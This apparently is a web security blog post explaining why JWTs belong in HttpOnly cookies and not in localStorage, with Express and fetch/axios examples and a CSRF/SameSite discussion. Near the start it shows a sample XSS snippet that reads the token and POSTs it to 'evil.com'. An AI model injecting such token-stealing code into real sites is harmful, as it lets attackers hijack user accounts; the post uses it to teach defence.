
Stop Saving Tokens in LocalStorage: Use HttpOnly Cookies
LocalStorage is vulnerable to XSS. Learn why you should stop storing JWTs there and switch to HttpOnly cookies for secure authentication.
If you are building a modern Single Page Application (SPA) using React, Vue, or Angular, chances are you are using JSON Web Tokens (JWT) for authentication. And if you are like the vast majority of developers learning from online tutorials, you are probably storing that token right in localStorage.
It feels incredibly intuitive. The user logs in, your API sends back a token, and you do a quick localStorage.setItem('token', token). Whenever you need to fetch protected data, you grab the token and slap it onto the Authorization header. Easy, right?
But there is a massive security risk lurking behind this convenience. Today, I want to talk about why you should immediately stop storing your access tokens in localStorage, and how to implement a much safer alternative: HttpOnly Cookies.
The Fatal Flaw of LocalStorage: XSS
To understand why localStorage is dangerous for secrets, we need to talk about Cross-Site Scripting (XSS).
localStorage is completely accessible to any JavaScript running on your domain. This means if an attacker can execute their own JavaScript on your website, they can access everything in localStorage.
You might think, "My code is perfectly safe, I don't write XSS vulnerabilities." But modern web development relies heavily on the NPM ecosystem. Your app likely imports hundreds of third-party libraries. If just one of those dependencies (or their sub-dependencies) is compromised in a supply chain attack, malicious code could be injected into your production bundle.
If an attacker gets execution context, stealing your token is literally a one-liner:
// Malicious script injected via XSS
const stolenToken = localStorage.getItem('token');
fetch('https://evil.com/steal-token', {
method: 'POST',
body: stolenToken
});
Once they have the token, they can impersonate your user entirely until the token expires. They don't need your user's password; they have the golden key.
The Solution: HttpOnly Cookies

The best way to protect your tokens from XSS is to prevent JavaScript from seeing them in the first place. This is exactly what the HttpOnly flag on a cookie does.
When your server sends a token inside an HttpOnly cookie, the browser stores it, but completely hides it from the document.cookie API. No JavaScript on your frontend—whether it's your code or a malicious injected script—can read it.
Instead, the browser takes over. Every time your frontend makes an HTTP request to the domain that set the cookie, the browser automatically attaches the cookie to the request headers.
Implementing the Backend

Let's look at how to set this up using Node.js and Express. Instead of returning the token in the JSON response body, you attach it as a cookie.
app.post('/api/login', async (req, res) => {
const { username, password } = req.body;
const user = await authenticateUser(username, password);
if (!user) {
return res.status(401).json({ error: 'Invalid credentials' });
}
// Generate your JWT
const token = jwt.sign({ userId: user.id }, process.env.JWT_SECRET, {
expiresIn: '1h'
});
// Send token as an HttpOnly cookie
res.cookie('token', token, {
httpOnly: true,
secure: process.env.NODE_ENV === 'production', // Must be true over HTTPS
sameSite: 'strict',
maxAge: 3600000 // 1 hour in milliseconds
});
res.json({ message: 'Login successful', user: { id: user.id, name: user.name } });
});
Let's break down these critical flags:
httpOnly: true: The magic flag. JavaScript cannot read this cookie.secure: When true, the cookie is only sent over HTTPS. Always set this in production.sameSite: 'strict': Crucial for defending against CSRF attacks (more on this below). It ensures the cookie is only sent if the request originates from the same site.maxAge: Tells the browser when to automatically delete the cookie.
Simplifying the Frontend
One of the best side-effects of using cookies is that your frontend code actually gets simpler.
You no longer need to write Axios interceptors to manually retrieve the token from localStorage and inject it into the Authorization: Bearer header. The browser handles the transportation for you.
You only need to ensure that your HTTP client is configured to include credentials (cookies) in its requests.
If you are using the native fetch API:
fetch('https://api.yoursite.com/profile', {
method: 'GET',
credentials: 'include' // Tells fetch to send cookies
})
.then(res => res.json())
.then(data => console.log(data));
If you are using Axios, you can set it globally:
import axios from 'axios';
// Ensure cookies are sent with every request
axios.defaults.withCredentials = true;
// Now just make the request!
const response = await axios.get('https://api.yoursite.com/profile');
What About CSRF Attacks?
If you've been doing web security for a while, you might be screaming at your monitor right now: "Cookies are vulnerable to Cross-Site Request Forgery (CSRF)!"
Historically, you would be absolutely right. CSRF happens when a malicious website tricks the user's browser into making an authenticated request to your site. Because the browser automatically attaches cookies, the malicious request succeeds.
However, modern browsers have given us the SameSite attribute.
By setting SameSite=Strict (or Lax), you explicitly tell the browser: "Do not send this cookie if the request is coming from a different domain." This simple flag effectively neutralizes the vast majority of CSRF attack vectors. Combine this with proper CORS configuration, and your application is heavily fortified.
When Should You Use LocalStorage?
I am not saying localStorage is completely useless. It is a fantastic tool for storing non-sensitive data.
Feel free to use localStorage for:
- Saving the user's UI theme preference (dark mode vs. light mode).
- Caching non-sensitive application state or layout toggles.
- Saving draft content for a form the user is filling out.
Just don't put the keys to the castle in there.
Conclusion
Shifting from localStorage to HttpOnly cookies requires a slight paradigm shift, especially if your API and frontend are hosted on completely different domains (which requires careful CORS and SameSite configuration).
However, the security benefits are non-negotiable for any serious production application. Stop handing your users' authentication tokens to any rogue script that asks for them. Let the browser do what it was designed to do, and keep your secrets secure.
written by
Nguyên Tech
Responses
Loading comments…